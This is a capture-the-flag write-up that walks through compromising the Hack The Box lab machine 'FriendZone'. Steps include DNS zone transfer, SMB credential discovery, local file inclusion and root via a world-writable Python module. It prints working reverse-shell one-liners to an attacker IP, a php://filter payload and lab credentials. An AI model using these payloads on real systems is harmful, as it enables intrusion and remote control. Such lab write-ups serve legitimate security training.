FriendZone Writeup
25 February 2023 #CTF #HTB #box #easy #linuxEnumeration
nmap
WILL help you escape the friend zone:
$ sudo nmap -n -Pn -sCV -oN enum/initial.nmap 10.10.10.123
[...]
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a96824bc971f1e54a58045e74cd9aaa0 (RSA)
| 256 e5440146ee7abb7ce91acb14999e2b8e (ECDSA)
|_ 256 004e1a4f33e8a0de86a6e42a5f84612b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Friend Zone Escape software
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
|_http-title: 404 Not Found
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -40m00s, deviation: 1h09m16s, median: -1s
| smb2-time:
| date: 2023-02-11T22:58:41
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: friendzone
| NetBIOS computer name: FRIENDZONE\x00
| Domain name: \x00
| FQDN: friendzone
|_ System time: 2023-02-12T00:58:41+02:00
[...]
FTP
Let's see if we can access the FTP server anonymously:
$ ftp [email protected]
Connected to 10.10.10.123.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
530 Login incorrect.
Nope, and I couldn't find anything for that version on searchsploit
so we'll just move on.
DNS
Since DNS is listening on TCP, we might be able to do a zone transfer (we know the friendzone.red
domain from the SSL cert in the nmap
output):
$ dig @10.10.10.123 AXFR friendzone.red
; <<>> DiG 9.18.11-2-Debian <<>> @10.10.10.123 AXFR friendzone.red
; (1 server found)
;; global options: +cmd
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red. 604800 IN AAAA ::1
friendzone.red. 604800 IN NS localhost.
friendzone.red. 604800 IN A 127.0.0.1
administrator1.friendzone.red. 604800 IN A 127.0.0.1
hr.friendzone.red. 604800 IN A 127.0.0.1
uploads.friendzone.red. 604800 IN A 127.0.0.1
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 24 msec
;; SERVER: 10.10.10.123#53(10.10.10.123) (TCP)
;; WHEN: Thu Feb 23 18:53:03 CET 2023
;; XFR size: 8 records (messages 1, bytes 289)
Nice, it works. We'll add all of these new subdomains to our /etc/hosts
.
SMB
Let's try our luck again with anonymous authentication and list the shares:
$ crackmapexec smb 10.10.10.123 -u '' -p '' --shares
SMB 10.10.10.123 445 FRIENDZONE [*] Windows 6.1 (name:FRIENDZONE) (domain:) (signing:False) (SMBv1:True)
SMB 10.10.10.123 445 FRIENDZONE [+] \:
SMB 10.10.10.123 445 FRIENDZONE [+] Enumerated shares
SMB 10.10.10.123 445 FRIENDZONE Share Permissions Remark
SMB 10.10.10.123 445 FRIENDZONE ----- ----------- ------
SMB 10.10.10.123 445 FRIENDZONE print$ Printer Drivers
SMB 10.10.10.123 445 FRIENDZONE Files FriendZone Samba Server Files /etc/Files
SMB 10.10.10.123 445 FRIENDZONE general READ FriendZone Samba Server Files
SMB 10.10.10.123 445 FRIENDZONE Development READ,WRITE FriendZone Samba Server Files
SMB 10.10.10.123 445 FRIENDZONE IPC$ IPC Service (FriendZone server (Samba, Ubuntu))
In the 'general' share, there is just 1 file:
$ smbclient -N //10.10.10.123/general
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jan 16 21:10:51 2019
.. D 0 Tue Sep 13 16:56:24 2022
creds.txt N 57 Wed Oct 10 01:52:42 2018
3545824 blocks of size 1024. 1590752 blocks available
smb: \> get creds.txt
getting file \creds.txt of size 57 as creds.txt (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
$ cat creds.txt
creds for the admin THING:
admin:WORKWORKHhallelujah@#
We got some creds but we don't know where to use them yet.
The 'Development' share is empty but we can write to it.
We can use the netshareenumall
RPC command to get some more information about the shares:
$ rpcclient -U % 10.10.10.123 -c netshareenumall
netname: print$
remark: Printer Drivers
path: C:\var\lib\samba\printers
password:
netname: Files
remark: FriendZone Samba Server Files /etc/Files
path: C:\etc\hole
password:
netname: general
remark: FriendZone Samba Server Files
path: C:\etc\general
password:
netname: Development
remark: FriendZone Samba Server Files
path: C:\etc\Development
password:
netname: IPC$
remark: IPC Service (FriendZone server (Samba, Ubuntu))
path: C:\tmp
password:
The path of the shares will come in handy soon enough.
We need to use -U %
to login anonymously.
HTTP
Navigating to http://10.10.10.123
, we get a static page:
There is another domain name, but it doesn't have anything interesting.
administrator1.friendzone.red
Here we have a login page (the virtual host is only available via HTTPS):
The creds we got from the SMB share (admin:WORKWORKHhallelujah@#
) work:
Alright, let's go to /dashboard.php
:
It is telling us about some missing parameters. Let's add them. https://administrator1.friendzone.red?image_id=a.jpg&pagename=timestamp
:
The pagename
parameter sounds interesting. We can check if timestamp.php
exists:
It does and it corresponds to what was displayed on the dashboard.
Foothold
The application probably includes whatever is in the pagename
parameter and appends .php
to it.
To confirm this theory, we can use php filters to extract the php source code by base64 encoding it. Use this payload in the pagename
parameter:
php://filter/convert.base64-encode/resource=dashboard
It works, however we can only include files that end in .php
, so trying to get code execution within the Apache log (for example) won't work here.
Luckily, we have access to a writable SMB share and we know it is located in /etc/Development
. Let's start by creating a simple php reverse shell:
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.4/666 0>&1'"); ?>
Then upload it to the share:
$ smbclient -N //10.10.10.123/Development -c 'put shell.php'
putting file shell.php as \shell.php (1.0 kb/s) (average 1.0 kb/s)
We can now include it by putting /etc/Development/shell
in the pagename
parameter and get a reverse shell.
Privesc
Find Creds in WebRoot
We can find some creds in the web root:
www-data@FriendZone:/var/www$ cat mysql_data.conf
for development process this is the mysql creds for user friend
db_user=friend
db_pass=Agpyu12!0.213$
db_name=FZ
MySQL isn't running on the host but the password is reused for the local account 'friend'. We can either use su -l friend
or ssh to login.
Abuse Writable Python Module
There is a custom python script in /opt/server_admin
:
#!/usr/bin/python
import os
to_address = "[email protected]"
from_address = "[email protected]"
print "[+] Trying to send email to %s"%to_address
#command = ''' mailsend -to [email protected] -from [email protected] -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
#os.system(command)
# I need to edit the script later
# Sam ~ python developer
It imports the 'os' module but doesn't do anything with it. We'll upload pspy
on the box to check if the script is actually being executed:
friend@FriendZone:/dev/shm$ ./pspy64
[...]
2023/02/23 19:44:01 CMD: UID=0 PID=2672 | /usr/bin/python /opt/server_admin/reporter.py
2023/02/23 19:44:01 CMD: UID=0 PID=2671 | /bin/sh -c /opt/server_admin/reporter.py
2023/02/23 19:44:01 CMD: UID=0 PID=2670 | /usr/sbin/CRON -f
[...]
Indeed, a cron job as root executes the python script (every 2 minutes).
Let's continue the enumeration by looking at the writable files for our user:
friend@FriendZone:~$ find / -type f -writable -ls 2>/dev/null | grep -vE '/sys|/proc|/run'
21694 4 -rw-rw---- 1 friend mail 1 Jan 15 2019 /var/mail/friend
36307 4 -rw-r--r-- 1 friend friend 220 Oct 5 2018 /home/friend/.bash_logout
36308 4 -rw-r--r-- 1 friend friend 3771 Oct 5 2018 /home/friend/.bashrc
36310 4 -rw-r--r-- 1 friend friend 807 Oct 5 2018 /home/friend/.profile
36313 0 -rw-r--r-- 1 friend friend 0 Oct 5 2018 /home/friend/.cache/motd.legal-displayed
98 28 -rw-rw-r-- 1 friend friend 25583 Jan 15 2019 /usr/lib/python2.7/os.pyc
20473 28 -rwxrwxrwx 1 root root 25910 Jan 15 2019 /usr/lib/python2.7/os.py
Interestingly, the os python module is world writable. We can exploit it by adding some python code that will send us a reverse shell when the cron job gets executed:
friend@FriendZone:~$ tail -4 /usr/lib/python2.7/os.py
except NameError: # statvfs_result may not exist
pass
system("bash -c 'bash -i >& /dev/tcp/10.10.14.4/1337 0>&1'")
Now it's just a matter of waiting at most 2 minutes before getting our reverse shell as root.
Key Takeaways
- use RPC command
netshareenumall
to get full path of shares (orsmb-enum-shares
nmap script)